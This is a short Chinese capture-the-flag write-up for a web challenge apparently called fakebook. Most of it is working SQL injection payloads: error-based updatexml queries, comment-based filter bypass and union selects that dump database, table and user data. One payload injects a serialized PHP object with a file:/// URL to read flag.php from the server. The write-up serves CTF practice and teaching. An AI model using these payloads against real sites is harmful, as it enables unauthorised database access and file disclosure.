先登录,万能密码登录发现不行
选择注册,随便注册一个
进入用户界面
发现url有很经典的模板 no=1
尝试注入
?no=0 and updatexml(1,concat('~',(database()),'~'),1)%23
发现报错注入可以显示
先来查列数
?no=0 order/**/by 4# 存在
?no=0 order/**/by 5# 不存在,报错
我是从3开始试的
爆库名(全部)
?no=0 and updatexml(1,concat('~',(select(group_concat(schema_name))from(information_schema.schemata)),'~'),1)%23
最有可能库的还是fakebook
查表
?no=0 and updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='fakebook')),'~'),1)%23
查字段
查数据
?no=0 union/**/select 1,group_concat(username,passwd,data),3,4 from users#
可以看到有考验反序列化的地方
但是我突然想到之前有一道题可以注入一个临时用户或许可以改变blog来修改
方法一:注入临时用户查看flag.php
首先我们可以知道末端是一段data数据,我们可以考虑在第四列注入用户信息
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:/var/www/html/flag.php";}' from users#
会发现信息错误,估计是目录问题,可以再向前添加/回退目录
最后发现开头三个/才会正确返回
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users#
查看源码后下拉发现了一个连接
flag出现